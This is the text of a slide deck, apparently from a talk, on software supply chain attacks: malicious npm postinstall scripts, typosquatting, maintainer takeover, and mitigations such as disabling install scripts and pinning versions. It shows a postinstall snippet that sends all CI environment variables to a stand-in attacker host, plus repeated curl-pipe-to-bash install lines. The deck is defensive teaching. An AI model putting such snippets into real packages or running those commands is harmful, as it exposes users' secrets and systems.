Hi I'm Ryan
Hi I'm Ryan
Hi

My CLI Tool
My CLI Tool
What Does it do?
ย
My CLI Tool
What Does it do?
My CLI Tool
curl -o- http://example.com/install.sh |sudo bash
Very exciting!
To install just run ๐




# Contents of http://example.com/cli/install.sh
#!/bin/bash
curl -o- http://example.com/cli/important_dependency_0/install.sh | bash
curl -o- http://example.com/cli/important_dependency_1/install.sh | bash
curl -o- http://example.com/cli/important_dependency_2/install.sh | bash
curl -o- http://example.com/cli/important_dependency_3/install.sh | bash
curl -o- http://example.com/cli/important_dependency_4/install.sh | bash
curl -o- http://example.com/cli/important_dependency_5/install.sh | bash
curl -o- http://example.com/cli/important_dependency_6/install.sh | bash
curl -o- http://example.com/cli/important_dependency_7/install.sh | bash
curl -o- http://example.com/cli/important_dependency_8/install.sh | bash
curl -o- http://example.com/cli/important_dependency_9/install.sh | bash
curl -o- http://example.com/cli/important_dependency_10/install.sh | bash
curl -o- http://example.com/cli/important_dependency_11/install.sh | bash
curl -o- http://example.com/cli/important_dependency_12/install.sh | bash
curl -o- http://example.com/cli/important_dependency_13/install.sh | bash
curl -o- http://example.com/cli/important_dependency_14/install.sh | bash
curl -o- http://example.com/cli/important_dependency_15/install.sh | bash
curl -o- http://example.com/cli/important_dependency_16/install.sh | bash
curl -o- http://example.com/cli/important_dependency_17/install.sh | bash
curl -o- http://example.com/cli/important_dependency_18/install.sh | bash
curl -o- http://example.com/cli/important_dependency_19/install.sh | bash
curl -o- http://example.com/cli/important_dependency_20/install.sh | bash
curl -o- http://example.com/cli/important_dependency_21/install.sh | bash
curl -o- http://example.com/cli/important_dependency_22/install.sh | bash
curl -o- http://example.com/cli/important_dependency_23/install.sh | bash
curl -o- http://example.com/cli/important_dependency_24/install.sh | bash
curl -o- http://example.com/cli/important_dependency_25/install.sh | bash
curl -o- http://example.com/cli/important_dependency_26/install.sh | bash
curl -o- http://example.com/cli/important_dependency_27/install.sh | bash
# Contents of http://example.com/cli/important_dependency_0/install.sh
#!/bin/bash
curl -o- http://example.com/cli/very_important_dependency_0/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_1/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_2/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_3/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_4/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_5/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_6/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_7/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_8/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_9/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_10/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_11/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_12/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_13/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_14/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_15/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_16/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_17/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_18/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_19/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_20/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_21/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_22/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_23/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_24/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_25/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_26/install.sh | bash
curl -o- http://example.com/cli/very_important_dependency_27/install.sh | bash

# Contents of http://example.com/cli/very_important_dependency_0/install.sh
#!/bin/bash
curl -o- http://example.com/cli/very_very_important_dependency_0/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_1/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_2/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_3/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_4/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_5/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_6/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_7/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_8/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_9/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_10/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_11/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_12/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_13/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_14/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_15/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_16/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_17/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_18/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_19/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_20/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_21/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_22/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_23/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_24/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_25/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_26/install.sh | bash
curl -o- http://example.com/cli/very_very_important_dependency_27/install.sh | bash

Lets take a step back

npm install
yarn install
pip install
composer install
# ect ...
Who here has run something
like this recently?
npm install
yarn install
pip install
composer install
# ect ...
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
curl ... | bash
# ect ...

Why this might be a problem?
Story Time
















๐














// Contents of: src/gatsby-theme-gallery/components/Footer.js
import React, { useState } from "react";
// {... Other imports}
const Footer = () => {
const siteMetadata = useSiteMetadata();
const [dogsLiked, setDogsLiked] = useState(0)
return (
<footer>
<DogContainer>
<Button onClick={() => {
setDogsLiked(dogsLiked + 1)
}}>
Click to like dogs
</Button>
<span><span role='img' aria-label='dog'>๐</span>s liked: {dogsLiked}</span>
</DogContainer>
<p>{`ยฉ ${new Date().getFullYear()} ${siteMetadata.author}`}</p>
</footer>
);
};
export default Footer;

// Contents of: src/gatsby-theme-gallery/components/Footer.js
import React, { useState } from "react";
// {... Other imports}
const Footer = () => {
const siteMetadata = useSiteMetadata();
const [dogsLiked, setDogsLiked] = useState(0)
return (
<footer>
<DogContainer>
<Button onClick={() => {
setDogsLiked(dogsLiked + 1)
}}>
Click to like dogs
</Button>
<span><span role='img' aria-label='dog'>๐</span>s liked: {dogsLiked}</span>
</DogContainer>
<p>{`ยฉ ${new Date().getFullYear()} ${siteMetadata.author}`}</p>
</footer>
);
};
export default Footer;






00101110 = 46 Likes
00101110 = 46 Likes



00101110 = 46 Likes
00101111 = 47 Likes






// Do not Remove
module.exports = leftpad;
function leftpad (str, len, ch) {
str = String(str);
var i = -1;
if (!ch && ch !== 0) ch = ' ';
len = len - str.length;
while (++i < len) {
str = ch + str;
}
return str;
}









npm install @a-normal-cat/add-some-numbers
# Other Terminal stuff
> @a-normal-cat/add-some-numbers@1.0.7 postinstall /home/a-normal-dog/projects/dog-blog/node_modules/@a-normal-cat/add-some-numbers
> node ./postinstall.js
Thank you for installing add-some-numbers โค๏ธ
Here is a ๐ + ๐ฑ to ligthen your day โจ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ

// Contents of: src/gatsby-theme-gallery/components/Footer.js
import React, { useState } from "react";
import add from "@a-normal-cat/add-some-numbers";
// {... Other imports}
const Footer = () => {
const siteMetadata = useSiteMetadata();
const [dogsLiked, setDogsLiked] = useState(0)
return (
<footer>
<DogContainer>
<Button onClick={() => {
setDogsLiked(add(dogsLiked, 1))
}}>
Click to like dogs
</Button>
<span><span role='img' aria-label='dog'>๐</span>s liked: {dogsLiked}</span>
</DogContainer>
<p>{`ยฉ ${new Date().getFullYear()} ${siteMetadata.author}`}</p>
</footer>
);
};
export default Footer;











Who let the ย ย ย out of the bag?

How did this happen? ๐ฑโ๐ป

{
"devDependencies": {
"microbundle": "^0.15.1"
},
"name": "@a-normal-cat/add-some-numbers",
"description": "Non suspiciously adds some numbers together ๐",
"version": "1.0.7",
"repository": {
"type": "git",
"url": "git+https://github.com/a-normal-cat/add-some-numbers.git"
//...
"unpkg": "./dist/add.umd.js",
"scripts": {
"build": "microbundle",
"dev": "microbundle watch",
"postinstall": "node ./postinstall.js",
"changeset": "changeset",
"release": "npm run build && npm publish --access public"
},
"private": false
}
{
"devDependencies": {
"microbundle": "^0.15.1"
},
"name": "@a-normal-cat/add-some-numbers",
"description": "Non suspiciously adds some numbers together ๐",
"version": "1.0.7",
"repository": {
"type": "git",
"url": "git+https://github.com/a-normal-cat/add-some-numbers.git"
//...
"unpkg": "./dist/add.umd.js",
"scripts": {
"build": "microbundle",
"dev": "microbundle watch",
"postinstall": "node ./postinstall.js",
"changeset": "changeset",
"release": "npm run build && npm publish --access public"
},
"private": false
}


if(process.env.CI){
fetch("http://mybadwebsite.com/get_token", {
method: "POST",
body: JSON.stringify({
// Deployment secrets and other things
// you probably don't want other people to have
env: process.env
})
})
}
{


if(process.env.CI){
fetch("http://mybadwebsite.com/get_token", {
method: "POST",
body: JSON.stringify({
// Deployment secrets and other things
// you probably don't want other people to have
env: process.env
})
})
}
{
https://github.com/a-normal-cat
Where is the payload?

๐ผ>
Who did it? ย ย










Is this our culprit?
Maintainer Going Rogue

Maintainer Going Rogue

Maintainer Going Rogue

What if the cat was framed? ๐ฟ
npm i @a-normal-cat/add-some-numbers



// What the dog thought they were running
npm i @a-normal-cat/add-some-numbers
// What the dog actually ran
npm i @a-norml-cat/add-some-numbers






Typosquatting

Typosquatting

gogle.com -> google.com
bingg.com -> bing.com
facebok.com -> facebook.com
micrsoft.com -> microsoft.com
amzon.com -> amazon.com
Typosquatting
Aiming for the big ๐
Becoming A Maintainer



Becoming A Maintainer

Becoming A Maintainer

Becoming A Maintainer

Becoming A Maintainer

Becoming A Maintainer


XZ Backdoor
Becoming A Maintainer


XZ Backdoor
Hacking a maintainer
Hacking a maintainer

Dog Blog

Add Some Numbers


Unit testing Library

Deep Equality library
Hacking a maintainer

Dog Blog

Add Some Numbers


Unit testing Library

Deep Equality library
Depends on


Hacking a maintainer

Dog Blog

Add Some Numbers


Unit testing Library

Deep Equality library
Depends on


Hacking a maintainer

Dog Blog

Add Some Numbers


Error Correction
Library

Deep Equality library
Depends on



Hacking a maintainer

Dog Blog

Add Some Numbers


Error Correction
Library

Deep Equality library
Depends on



Error Correction
Library






Hacking a maintainer

Dog Blog

Add Some Numbers


Error Correction
Library

Deep Equality library
Depends on



Another
Blog

Unit Testing Lib





Hacking a maintainer

Dog Blog

Add Some Numbers


Error Correction
Library

Deep Equality library
Depends on



Another
Blog

Unit Testing Lib





Hacking a maintainer

Hacking a maintainer

Hacking a maintainer

I guess the Bad Actors win :(
How could some of this have been avoided?
Ways of mitigating
supply chain vulnerabilities

Disable code execution during installation
// npm
npm config set ignore-scripts true
npm install --ignore-stripts
// composer
composer install --no-scripts --no-plugins
// ... Other package managers will have
// similar ways to disable scripts
Separate the installation / deployment steps in CICD pipelines
- name: Install and Build ๐ง
run: |
npm ci
npm run build
git remote set-url origin https://git:${GH_TOKEN}@github.com/${GITHUB_REPOSITORY}.git
npm run deploy -- -u "github-actions-bot <support+actions@github.com>"
env:
GH_TOKEN: ${{ secrets.GH_TOKEN }}
### TO ###
- name: Install and Build ๐ง
run: |
npm ci
npm run build
- name: Deploy
run: |
git remote set-url origin https://git:${GH_TOKEN}@github.com/${GITHUB_REPOSITORY}.git
npm run deploy -- -u "github-actions-bot <support+actions@github.com>"
env:
GH_TOKEN: ${{ secrets.GH_TOKEN }}
Limit token access


Pin Dependency Versions
// Node
package-json.lock
yarn.lock
// Python
requirements.txt
// PHP
composer.lock
// ect ...
Use Tooling for Scanning Depedenciesย

Closing notes
- โค๏ธย Free and Open Source Software
- The examples given are the exception and not the rule.
- This should not paint a pessimistic view. There are 2,155,123 packages on NPM (as of writing) the vast majority of them are freely provided by the FOSS community
- NPM and many other package managers are making active efforts to audit and take down dangerous packages and versions
-
๐ถ๐ค๐ฑ
Thanks & Credits
Fusion -> Supply Chain Attacks
By Rizza
Fusion -> Supply Chain Attacks
- 109